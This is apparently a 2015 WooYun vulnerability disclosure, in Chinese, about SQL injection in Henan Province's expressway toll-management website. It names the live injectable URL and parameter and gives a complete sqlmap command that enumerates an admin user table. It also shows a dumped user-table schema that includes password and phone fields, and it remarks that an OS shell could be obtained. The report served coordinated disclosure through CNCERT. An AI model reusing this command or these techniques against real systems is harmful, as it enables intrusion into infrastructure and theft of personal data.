漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0114172
漏洞标题：河南省高速公路收费管理系统注入导致监控管理系统数据库测漏
相关厂商：河南高速公路
漏洞作者： myhalo
提交时间：2015-05-15 10:41
修复时间：2015-07-04 08:40
公开时间：2015-07-04 08:40
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-15： 细节已通知厂商并且等待厂商处理中
2015-05-20： 厂商已经确认，细节仅向厂商公开
2015-05-30： 细节向核心白帽子及相关领域专家公开
2015-06-09： 细节向普通白帽子公开
2015-06-19： 细节向实习白帽子公开
2015-07-04： 细节向公众公开
简要描述：
刚提交就被秒审了、
再来一个、收费管理系统的
详细说明：
注入点：http://www.hnewzs.com.cn/Login/NewsList.aspx?KindName=%u515a%u98ce%u5ec9%u653f&KindId=100114&UnitId=100101100
参数：UnitId
数据库、
当前库是charge、找到管理表为OA_System_User
sqlmap -u "http://www.hnewzs.com.cn/Login/NewsList.aspx?KindName=%u515a%u98ce%u5ec9%u653f&KindId=100114&UnitId=100101100" -p UnitId -D charge -T OA_System_User --columns
全省约800多员工账号、列出了一些（没脱裤的）
加密了，看看其他库的、
Database: AXControCenter
Table: userdata
[14 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| duty | nvarchar |
| email | nvarchar |
| id | int |
| mobile | nvarchar |
| name | nvarchar |
| password | nvarchar |
| phone | nvarchar |
| roleid | nvarchar |
| roleids | nvarchar |
| rolename | nvarchar |
| sex | nvarchar |
| unitid | nvarchar |
| unitname | nvarchar |
| username | nvarchar |
+----------+----------+
同样列出少量账号、
发现还有监控员、于是就翻了翻、果然还有一个监控平台在该服务器上、
http://jk.hnewzs.com.cn/Login/Login.aspx?ReturnUrl=%2fDefault.aspx
。。。
数据都加密了，相对上一个要稍微好点，找了几个都没解密成功、就到此为止吧、
漏洞证明：
除此之外还可--os-shell、
修复方案：
0x、过滤
版权声明：转载请注明来源 myhalo@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2015-05-20 08:39
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给河南分中心，由其后续协调网站管理单位处置。
最新状态：
暂无